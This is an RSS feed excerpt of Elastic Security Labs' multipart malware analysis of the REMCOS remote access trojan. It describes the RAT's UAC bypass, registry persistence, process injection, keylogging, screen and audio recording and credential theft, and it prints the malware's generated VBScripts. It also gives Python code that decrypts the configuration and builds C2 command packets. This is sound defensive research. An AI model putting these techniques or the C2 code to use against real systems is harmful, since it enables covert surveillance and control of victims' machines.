<p>To obtain host geolocation, REMCOS utilizes the <a href="http://geoplugin.net">geoplugin.net</a> API and directly uploads the returned JSON data.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image91.png" alt="Requesting geolocation information from geoplugin.net" /></p>
<h3>StartOnlineKeylogger command</h3>
<p>The online keylogger employs the same keylogger structure as the offline version. However, instead of writing the data to the disk, the data is sent live to the C2.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image23.png" alt="0x40AEEE Initialization of the online keylogger" /></p>
<h3>StartWebcamModule command</h3>
<p>REMCOS uses an external module for webcam recording. This module is a DLL that must be received and loaded from its C2 as part of the command parameters.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image93.png" alt="0x404582 REMCOS loading the webcam module from C2" /></p>
<p>Once the module is loaded, you can send a sub-command to capture and upload a webcam picture.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image52.png" alt="0x4044F5 Sub-command handler for capturing and uploading pictures" /></p>
<h3>StealPasswords command</h3>
<p>Password stealing is likely carried out using 3 different <a href="https://www.nirsoft.net/">Nirsoft</a> binaries, identified by the &quot;/sext&quot; parameters. These binaries are received from the C2 and injected into a freshly created process. Both elements are part of the command parameters.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image72.png" alt="0x412BAA REMCOS injects one of the Nirsoft binary into a freshly created process" /></p>
<p>The <code>/sext</code> parameter instructs the software to write the output to a file, each output filename is randomly generated and stored in the malware installation folder. Once their contents are read and uploaded to the C2, they are deleted.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image87.png" alt="0x412B12 Building random filename for the Nirsoft output file" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image98.png" alt="Read and delete the output file" /></p>
<p>An additional DLL, with a <a href="https://github.com/jacobsoo/FoxmailRecovery">FoxMailRecovery</a> export, can also be utilized. Like the other binaries, the DLL is received from the C2 as part of the command parameters. As the name implies the DLLis likely to be used to dump FoxMail data</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image17.png" alt="Loading additional dll with FoxMailRecovery export" /></p>
<h3>Uninstall command</h3>
<p>The uninstall command will delete all Remcos-related files and persistence registry keys from the host machine.</p>
<p>First, it kills the watchdog process.
<img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image38.png" alt="0x040D0A0 Killing the watchdog process" /></p>
<p>Then, it deletes all the recording files (keylogging, screenshots, and audio recordings).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image88.png" alt="0x40D0A5 Deleting * recording files" /></p>
<p>Then, it deletes its registry persistence keys.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image47.png" alt="0x40D0EC Deleting * persistence keys" /></p>
<p>Finally, it deletes its installation files by creating and executing a Visual Basic script in the %TEMP% folder with a random filename, then terminates its process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image75.png" alt="0x40D412 Executing the delete visual basic script and exit" /></p>
<p>Below the generated script with comments.</p>
<pre><code>' Continue execution even if an error occurs
On Error Resume Next

' Create a FileSystemObject
Set fso = CreateObject(&quot;Scripting.FileSystemObject&quot;)

' Loop while the specified file exists
while fso.FileExists(&quot;C:\Users\Cyril\Desktop\corpus\0af76f2897158bf752b5ee258053215a6de198e8910458c02282c2d4d284add5.exe&quot;)

' Delete the specified file
fso.DeleteFile &quot;C:\Users\Cyril\Desktop\corpus\0af76f2897158bf752b5ee258053215a6de198e8910458c02282c2d4d284add5.exe&quot;

' End of the loop
wend

' Delete the script itself
fso.DeleteFile(Wscript.ScriptFullName)
</code></pre>
<h3>Restart command</h3>
<p>The Restart command kills the watchdog process and restarts the REMCOS binary using a generated Visual Basic script.</p>
<p>Below is the generated script with comments.</p>
<pre><code>' Create a WScript.Shell object and run a command in the command prompt
' The command runs the specified .exe file
' The &quot;0&quot; argument means the command prompt window will not be displayed
CreateObject(&quot;WScript.Shell&quot;).Run &quot;cmd /c &quot;&quot;C:\Users\Cyril\Desktop\corpus\0af76f2897158bf752b5ee258053215a6de198e8910458c02282c2d4d284add5.exe&quot;&quot;&quot;, 0

' Create a FileSystemObject and delete the script itself
CreateObject(&quot;Scripting.FileSystemObject&quot;).DeleteFile(Wscript.ScriptFullName)
</code></pre>
<h2>DumpBrowserHistoryUsingNirsoft command</h2>
<p>Like the StealPasswords command, the DumpBrowserHistoryUsingNirsoft command steals browser history using likely another Nirsoft binary received from the C2 as part of the command parameter. Again, we identify the binary as part of Nirsoft because of the <code>/stext</code> parameter.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image46.png" alt="0x40404C Dumping browsers history using likely Nirsoft binary" /></p>
<h3>ElevateProcess command</h3>
<p>The ElevateProcess command, if the process isn’t already running with administrator privileges, will set the <code>HKCU/SOFTWARE/{mutex}/elev</code> registry key and restart the malware using the same method as the Restart command.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image26.png" alt="0x416EF6 Set the elev registry key and restart" /></p>
<p>Upon restart, the REMCOS checks the <code>elev</code> value as part of its initialization phase. If the value exists, it'll delete it and utilize its UAC bypass feature to elevate its privileges.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image95.png" alt="0x40EC39 Forced UAC bypass if the elev key exists in the registry" /></p>
<p>That’s the end of the third article. In the final part we’ll cover detection and hunt strategies of REMCOS using Elastic technologies.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/Security Labs Images 14.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part Two]]></title>
            <link>https://www.elastic.co/pt/security-labs/dissecting-remcos-rat-part-two</link>
            <guid>dissecting-remcos-rat-part-two</guid>
            <pubDate>Tue, 30 Apr 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[In the previous article in this series on the REMCOS implant, we shared information about execution, persistence, and defense evasion mechanisms. Continuing this series we’ll cover the second half of its execution flow and you’ll learn more about REMCOS recording capabilities and communication with its C2.]]></description>
            <content:encoded><![CDATA[<p>In the <a href="https://www.elastic.co/pt/security-labs/dissecting-remcos-rat-part-one">previous article</a> in this series on the REMCOS implant, we shared information about execution, persistence, and defense evasion mechanisms. Continuing this series we’ll cover the second half of its execution flow and you’ll learn more about REMCOS recording capabilities and communication with its C2.</p>
<h2>Starting watchdog</h2>
<p>If the <code>enable_watchdog_flag</code> (index <code>0x32</code>) is enabled, the REMCOS will activate its watchdog feature.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image68.png" alt="0x40F24F Starting watchdog feature if enabled in the configuration" /></p>
<p>This feature involves the malware launching a new process, injecting itself into it, and monitoring the main process. The goal of the watchdog is to restart the main process in case it gets terminated. The main process can also restart the watchdog if it gets terminated.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image49.png" alt="Console message indicating activation of watchdog module" /></p>
<p>The target binary for watchdog injection is selected from a hardcoded list, choosing the first binary for which the process creation and injection are successful:</p>
<ul>
<li><code>svchost.exe</code></li>
<li><code>rmclient.exe</code></li>
<li><code>fsutil.exe</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image32.png" alt="0x4122C5 Watchdog target process selection" /></p>
<p>In this example, the watchdog process is <code>svchost.exe</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image3.png" alt="svchost.exe watchdog process" /></p>
<p>The registry value <code>HKCU/SOFTWARE/{MUTEX}/WD</code> is created before starting the watchdog process and contains the main process PID.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image31.png" alt="The main process PID is saved in the WD registry key" /></p>
<p>Once REMCOS is running in the watchdog process, it takes a &quot;special&quot; execution path by verifying if the <code>WD</code> value exists in the malware registry key. If it does, the value is deleted, and the monitoring procedure function is invoked.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image63.png" alt="0x40EB54 Watchdog execution path when WD registry value exists" /></p>
<p>It is worth noting that the watchdog process has a special mutex to differentiate it from the main process mutex. This mutex string is derived from the configuration (index <code>0xE</code>) and appended with <code>-W</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image92.png" alt="Mutex field in the configuration" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image64.png" alt="Comparison between main process and watchdog process mutexes" /></p>
<p>When the main process is terminated, the watchdog detects it and restarts it using the <code>ShellExecuteW</code> API with the path to the malware binary retrieved from the <code>HKCU/SOFTWARE/{mutex}/exepath</code> registry key</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image30.png" alt="Console message indicating process restart by watchdog" /></p>
<h2>Starting recording threads</h2>
<h3>Keylogging thread</h3>
<p>The offline keylogger has two modes of operation:</p>
<ol>
<li>Keylog everything</li>
<li>Enable keylogging when specific windows are in the foreground</li>
</ol>
<p>When the <code>keylogger_mode</code> (index <code>0xF</code>) field is set to 1 or 2 in the configuration, REMCOS activates its &quot;Offline Keylogger&quot; capability.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image62.png" alt="" /></p>
<p>Keylogging is accomplished using the <code>SetWindowsHookExA</code> API with the <code>WH_KEYBOARD_LL</code> constant.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image23.png" alt="0x40A2B8 REMCOS setting up keyboard event hook using SetWindowsHookExA" /></p>
<p>The file where the keylogging data is stored is built using the following configuration fields:</p>
<ul>
<li><code>keylogger_root_directory</code> (index <code>0x31</code>)</li>
<li><code>keylogger_parent_directory</code> (index <code>0x10</code>)</li>
<li><code>keylogger_filename</code> (index <code>0x11</code>)</li>
</ul>
<p>The keylogger file path is <code>{keylogger_root_directory}/{keylogger_parent_directory}/{keylogger_filename}</code>. In this case, it will be <code>%APPDATA%/keylogger.dat</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image8.png" alt="Keylogging data file keylogger.dat" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image94.png" alt="Keylogging data content" /></p>
<p>The keylogger file can be encrypted by enabling the <code>enable_keylogger_file_encryption_flag</code> (index <code>0x12</code>) flag in the configuration. It will be encrypted using the RC4 algorithm and the configuration key.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image51.png" alt="0x40A7FC Decrypting, appending, and re-encrypting the keylogging data file" /></p>
<p>The file can also be made super hidden by enabling the <code>enable_keylogger_file_hiding_flag</code> (index <code>0x13</code>) flag in the configuration.</p>
<p>When using the second keylogging mode, you need to set the <code>keylogger_specific_window_names</code> (index <code>0x2A</code>) field with strings that will be searched in the current foreground window title every 5 seconds.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image84.png" alt="0x40A109 Keylogging mode choice" /></p>
<p>Upon a match, keylogging begins. Subsequently, the current foreground window is checked every second to stop the keylogger if the title no longer contains the specified strings.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image79.png" alt="Monitoring foreground window for keylogging activation" /></p>
<h3>Screen recording threads</h3>
<p>When the <code>enable_screenshot_flag</code> (index <code>0x14</code>) is enabled in the configuration, REMCOS will activate its screen recording capability.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image81.png" alt="0x40F0B3 Starting screen recording capability when enabled in configuration" /></p>
<p>To take a screenshot, REMCOS utilizes the <code>CreateCompatibleBitmap</code> and the <code>BitBlt</code> Windows APIs. If the <code>enable_screenshot_mouse_drawing_flag</code> (index <code>0x35</code>) flag is enabled, the mouse is also drawn on the bitmap using the <code>GetCursorInfo</code>, <code>GetIconInfo</code>, and the <code>DrawIcon</code> API.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image6.png" alt="0x418E76 Taking screenshot 1/2" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image82.png" alt="0x418E76 Taking screenshot 2/2" /></p>
<p>The path to the folder where the screenshots are stored is constructed using the following configuration:</p>
<ul>
<li><code>screenshot_parent_directory</code> (index <code>0x19</code>)</li>
<li><code>screenshot_folder</code> (index <code>0x1A</code>)</li>
</ul>
<p>The final path is <code>{screenshot_parent_directory}/{screenshot_folder}</code>.</p>
<p>REMCOS utilizes the <code>screenshot_interval_in_minutes</code> (index <code>0x15</code>) field to capture a screenshot every X minutes and save it to disk using the following format string: <code>time_%04i%02i%02i_%02i%02i%02i</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image45.png" alt="Location where screenshots are saved" /></p>
<p>Similarly to keylogging data, when the <code>enable_screenshot_encryption_flag</code> (index <code>0x1B</code>) is enabled, the screenshots are saved encrypted using the RC4 encryption algorithm and the configuration key.</p>
<p>At the top, REMCOS has a similar &quot;specific window&quot; feature for its screen recording as its keylogging capability. When the <code>enable_screenshot_specific_window_names_flag</code> (index <code>0x16</code>) is set, a second screen recording thread is initiated.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image20.png" alt="0x40F108 Starting specific window screen recording capability when enabled in configuration" /></p>
<p>This time, it utilizes the <code>screenshot_specific_window_names</code> (index <code>0x17</code>) list of strings to capture a screenshot when the foreground window title contains one of the specified strings. Screenshots are taken every X seconds, as specified by the <code>screenshot_specific_window_names_interval_in_seconds</code> (index <code>0x18</code>) field.</p>
<p>In this case, the screenshots are saved on the disk using a different format string: <code>wnd_%04i%02i%02i_%02i%02i%02i</code>. Below is an example using [&quot;notepad&quot;] as the list of specific window names and setting the Notepad process window in the foreground.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image89.png" alt="Screenshot triggered when Notepad window is in the foreground" /></p>
<h3>Audio recording thread</h3>
<p>When the <code>enable_audio_recording_flag</code> (index <code>0x23</code>) is enabled, REMCOS initiates its audio recording capability.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image24.png" alt="0x40F159 Starting audio recording capability when enabled in configuration" /></p>
<p>The recording is conducted using the Windows <code>Wave*</code> API. The duration of the recording is specified in minutes by the <code>audio_recording_duration_in_minutes</code> (<code>0x24</code>) configuration field.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image2.png" alt="0x401BE9 Initialization of audio recording" /></p>
<p>After recording for X minutes, the recording file is saved, and a new recording begins. REMCOS uses the following configuration fields to construct the recording folder path:</p>
<ul>
<li><code>audio_record_parent_directory</code> (index <code>0x25</code>)</li>
<li><code>audio_record_folder</code> (index <code>0x26</code>)</li>
</ul>
<p>The final path is <code>{audio_record_parent_directory}/{audio_record_folder}</code>. In this case, it will be <code>C:\MicRecords</code>. Recordings are saved to disk using the following format: <code>%Y-%m-%d %H.%M.wav</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image33.png" alt="Audio recording folder" /></p>
<h2>Communication with the C2</h2>
<p>After initialization, REMCOS initiates communication with its C2. It attempts to connect to each domain in its <code>c2_list</code> (index <code>0x0</code>) until one responds.</p>
<p>According to previous research, communication can be encrypted using TLS if enabled for a specific C2. In such cases, the TLS engine will utilize the <code>tls_raw_certificate</code> (index <code>0x36</code>), <code>tls_key</code> (index <code>0x37</code>), and <code>tls_raw_peer_certificate</code> (index <code>0x38</code>) configuration fields to establish the TLS tunnel.</p>
<p>It's important to note that in this scenario, only one peer certificate can be provided for multiple TLS-enabled C2 domains. As a result, it may be possible to identify other C2s using the same certificate.</p>
<p>Once connected we received our first packet:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image80.png" alt="Hello packet from REMCOS" /></p>
<p>As <a href="https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing">described in depth by Fortinet</a>, the protocol hasn't changed, and all packets follow the same structure:</p>
<ul>
<li>(orange)<code>magic_number</code>:  <code>\x24\x04\xff\x00</code></li>
<li>(red)<code>data_size</code>: <code>\x40\x03\x00\x00</code></li>
<li>(green)<code>command_id</code> (number): <code>\0x4b\x00\x00\x00</code></li>
<li>(blue)data fields separated by <code>|\x1e\x1e\1f|</code></li>
</ul>
<p>After receiving the first packet from the malware, we can send our own command using the following functions.</p>
<pre><code class="language-Python">MAGIC = 0xFF0424
SEPARATOR = b&quot;\x1e\x1e\x1f|&quot;


def build_command_packet(command_id: int, command_data: bytes) -&gt; bytes:
	return build_packet(command_id.to_bytes(4, byteorder=&quot;little&quot;) + command_data)


def build_packet(data: bytes) -&gt; bytes:
	packet = MAGIC.to_bytes(4, byteorder=&quot;little&quot;)
	packet += len(data).to_bytes(4, byteorder=&quot;little&quot;)
	packet += data
	return packet
</code></pre>
<p>Here we are going to change the title of a Notepad window using the command 0x94, passing as parameters its window handle (329064) and the text of our choice.</p>
<pre><code class="language-Python">def main() -&gt; None:
	server_0 = nclib.TCPServer((&quot;192.168.204.1&quot;, 8080))

	for client in server_0:
    	print(client.recv_all(5))

    	client.send(build_command_packet(
            			0x94,
            			b&quot;329064&quot; + SEPARATOR + &quot;AM_I_A_JOKE_TO_YOU?&quot;.encode(&quot;utf-16-le&quot;)))
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/image1.png" alt="REMCOS executed the command, changing the Notepad window text" /></p>
<p>That’s the end of the second article. The third part will cover REMCOS' configuration and its C2 commands.</p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-two/Security Labs Images 21.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part One]]></title>
            <link>https://www.elastic.co/pt/security-labs/dissecting-remcos-rat-part-one</link>
            <guid>dissecting-remcos-rat-part-one</guid>
            <pubDate>Wed, 24 Apr 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[This malware research article describes the REMCOS implant at a high level, and provides background for future articles in this multipart series.]]></description>
            <content:encoded><![CDATA[<p>In the first article in this multipart series, malware researchers on the Elastic Security Labs team give a short introduction about the REMCOS threat and dive into the first half of its execution flow, from loading its configuration to cleaning the infected machine web browsers.</p>
<h2>Introduction</h2>
<p>Elastic Security Labs continues its examination of high-impact threats, focusing on the internal complexities of REMCOS version 4.9.3 Pro (November 26, 2023).</p>
<p>Developed by <a href="https://breakingsecurity.net/">Breaking-Security</a>, REMCOS is a piece of software that began life as a red teaming tool but has since been adopted by threats of all kinds targeting practically every sector.</p>
<p>When we performed our analysis in mid-January, it was the most prevalent malware family <a href="https://any.run/malware-trends/">reported by ANY.RUN</a>. Furthermore, it remains under active development, as evidenced by the <a href="https://breakingsecurity.net/remcos/changelog/">recent announcement</a> of version 4.9.4's release by the company on March 9, 2024.</p>
<p>All the samples we analyzed were derived from the same REMCOS 4.9.3 Pro x86 build. The software is coded in C++ with intensive use of the <code>std::string</code> class for its string and byte-related operations.</p>
<p>REMCOS is packed with a wide range of functionality, including evasion techniques, privilege escalation, process injection, recording capabilities, etc.</p>
<p>This article series provides an extensive analysis of the following:</p>
<ul>
<li>Execution and capabilities</li>
<li>Detection and hunting strategies using Elastic’s ES|QL queries</li>
<li>Recovery of approximately 80% of its configuration fields</li>
<li>Recovery of about 90% of its C2 commands</li>
<li>Sample virtual addresses under each IDA Pro screenshot</li>
<li>And more!</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image77.png" alt="REMCOS execution diagram" /></p>
<p>For any questions or feedback, feel free to reach out to us on social media <a href="https://twitter.com/elasticseclabs">@elasticseclabs</a> or in the Elastic <a href="https://elasticstack.slack.com">Community Slack</a>.</p>
<h3>Loading the configuration</h3>
<p>The REMCOS configuration is stored in an encrypted blob within a resource named <code>SETTINGS</code>. This name appears consistent across different versions of REMCOS.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image29.png" alt="REMCOS config stored in encrypted SETTINGS resource" /></p>
<p>The malware begins by loading the encrypted configuration blob from its resource section.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image40.png" alt="0x41B4A8 REMCOS loads its encrypted configuration from resources" /></p>
<p>To load the encrypted configuration, we use the following Python script and the <a href="https://pypi.org/project/lief/">Lief</a> module.</p>
<pre><code>import lief

def read_encrypted_configuration(path: pathlib.Path) -&gt; bytes | None:
	if not (pe := lief.parse(path)):
    		return None

	for first_level_child in pe.resources.childs:
    		if first_level_child.id != 10:
        		continue

    	for second_level_child in first_level_child.childs:
        		if second_level_child.name == &quot;SETTINGS&quot;:
            			return bytes(second_level_child.childs[0].content)
</code></pre>
<p>We can confirm that version 4.9.3 maintains the same structure and decryption scheme as previously described by <a href="https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing">Fortinet researchers</a>:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image55.png" alt="Fortinet reported structure and decryption scheme" /></p>
<p>We refer to the “encrypted configuration” as the structure that contains the decryption key and the encrypted data blob, which appears as follows:</p>
<pre><code>struct ctf::EncryptedConfiguration
{
uint8_t key_size;
uint8_t key[key_size];
uint8_t data
};
</code></pre>
<p>The configuration is still decrypted using the RC4 algorithm, as seen in the following screenshot.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image53.png" alt="0x40F3C3 REMCOS decrypts its configuration using RC4" /></p>
<p>To decrypt the configuration, we employ the following algorithm.</p>
<pre><code>def decrypt_encrypted_configuration(
	encrypted_configuration: bytes,
) -&gt; tuple[bytes, bytes]:
	key_size = int.from_bytes(encrypted_configuration[:1], &quot;little&quot;)
	key = encrypted_configuration[1 : 1 + key_size]
	return key, ARC4.ARC4Cipher(key).decrypt(encrypted_configuration[key_size + 1 :])
</code></pre>
<p>The configuration is used to initialize a global vector that we call <code>g_configuration_vector</code> by splitting it with the string <code>\x7c\x1f\x1e\x1e\x7c</code> as a delimiter.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image48.png" alt="0x40EA16 Configuration string is split to initialize g_configuration_vector" /></p>
<p>We provide a detailed explanation of the configuration later in this series.</p>
<h3>UAC Bypass</h3>
<p>When the <code>enable_uac_bypass_flag</code> (index <code>0x2e</code>) is enabled in the configuration, REMCOS attempts a UAC bypass using a known COM-based technique.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image27.png" alt="0x40EC4C Calling the UAC Bypass feature when enabled in the configuration" /></p>
<p>Beforehand, the REMCOS masquerades its process in an effort to avoid detection.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image78.png" alt="0x40766D UAC Bypass is wrapped between process masquerading and un-masquerading" /></p>
<p>REMCOS modifies the PEB structure of the current process by replacing the image path and command line with the <code>explorer.exe</code> string while saving the original information in global variables for later use.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image14.png" alt="0x40742E Process PEB image path and command line set to explorer.exe" /></p>
<p>The well-known <a href="https://attack.mitre.org/techniques/T1218/003/">technique</a> exploits the <code>CoGetObject</code> API to pass the <code>Elevation:Administrator!new:</code> moniker, along with the <code>CMSTPLUA</code> CLSID and <code>ICMLuaUtil</code> IID, to instantiate an elevated COM interface. REMCOS then uses the <code>ShellExec()</code> method of the interface to launch a new process with administrator privileges, and exit.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image85.png" alt="0x407607 calling ShellExec from an elevated COM interface" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image9.png" alt="0x4074FD instantiating an elevated COM interface" /></p>
<p>This technique was previously documented in an Elastic Security Labs article from 2023: <a href="https://www.elastic.co/pt/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies">Exploring Windows UAC Bypasses: Techniques and Detection Strategies</a>.</p>
<p>Below is a recent screenshot of the detection of this exploit using the Elastic Defend agent.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image25.png" alt="UAC bypass exploit detection by the Elastic Defend agent disabling UAC" /></p>
<h3>Disabling UAC</h3>
<p>When the <code>disable_uac_flag</code> is enabled in the configuration (index <code>0x27</code>), REMCOS <a href="https://attack.mitre.org/techniques/T1548/002/">disables UAC</a> in the registry by setting the <code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemEnableLUA</code> value to <code>0</code> using the <code>reg.exe</code> Windows binary.&quot;</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image4.png" alt="" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image12.png" alt="" /></p>
<h2>Install and persistence</h2>
<p>When <code>enable_install_flag</code> (index <code>0x3</code>) is activated in the configuration, REMCOS will install itself on the host machine.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image50.png" alt="0x40ED8A Calling install feature when the flag is enabled in configuration" /></p>
<p>The installation path is constructed using the following configuration values:</p>
<ul>
<li><code>install_parent_directory</code> (index <code>0x9</code>)</li>
<li><code>install_directory</code> (<code>0x30</code>)</li>
<li><code>install_filename</code> (<code>0xA</code>)</li>
</ul>
<p>The malware binary is copied to <code>{install_parent_directory}/{install_directory}/{install_filename}</code>. In this example, it is <code>%ProgramData%\Remcos\remcos.exe</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image42.png" alt="Sample detected in its installation directory" /></p>
<p>If the <code>enable_persistence_directory_and_binary_hiding_flag</code> (index <code>0xC</code>) is enabled in the configuration, the install folder and the malware binary are set to super hidden (even if the user enables showing hidden files or folders the file is kept hidden by Windows to protect files with system attributes) and read-only by applying read-only, hidden, and system attributes to them.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image83.png" alt="0x40CFC3 REMCOS applies read-only and super hidden attributes to its install folder and files" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image60.png" alt="Install files set as read-only and super hidden" /></p>
<p>After installation, REMCOS establishes persistence in the registry depending on which of the following flags are enabled in the configuration:</p>
<ul>
<li><code>enable_hkcu_run_persistence_flag</code> (index <code>0x4</code>)
<code>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\</code></li>
<li><code>enable_hklm_run_persistence_flag</code> (index <code>0x5</code>)
<code>HKLM\Software\Microsoft\Windows\CurrentVersion\Run\</code></li>
<li><code>enable_hklm_policies_explorer_run_flag</code> (index <code>0x8</code>)
<code>HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image47.png" alt="0x40CD0D REMCOS establishing persistence registry keys" /></p>
<p>The malware is then relaunched from the installation folder using <code>ShellExecuteW</code>, followed by termination of the initial process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image75.png" alt="0x40D04B Relaunch of the REMCOS process after installation" /></p>
<h2>Process injection</h2>
<p>When the <code>enable_process_injection_flag</code> (index <code>0xD</code>) is enabled in the configuration,  REMCOS injects itself into either a specified or a Windows process chosen from an hardcoded list to evade detection.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image15.png" alt="0x40EEB3 Calling process injection feature if enabled in the configuration" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image21.png" alt="REMCOS running injected into iexplore.exe" /></p>
<p>The <code>enable_process_injection_flag</code> can be either a boolean or the name of a target process. When set to true (1), the injected process is chosen in a “best effort” manner from the following options:</p>
<ul>
<li><code>iexplorer.exe</code></li>
<li><code>ieinstal.exe</code></li>
<li><code>ielowutil.exe</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-one/image73.png" alt="" /></p>
<p><em>Note: there is only one injection method available in REMCOS, when we talk about process injection we are specifically referring to the method outlined here</em></p>
<p>REMCOS uses a classic <code>ZwMapViewOfSection</code> + <code>SetThreadContext</code> + <code>ResumeThread</code> technique for process injection. This involves copying itself into the injected binary via shared memory, mapped using <code>ZwMapViewOfSection</code> and then hijacking its execution flow to the REMCOS entry point using <code>SetThreadContext</code> and <code>ResumeThread</code> methods.</p>
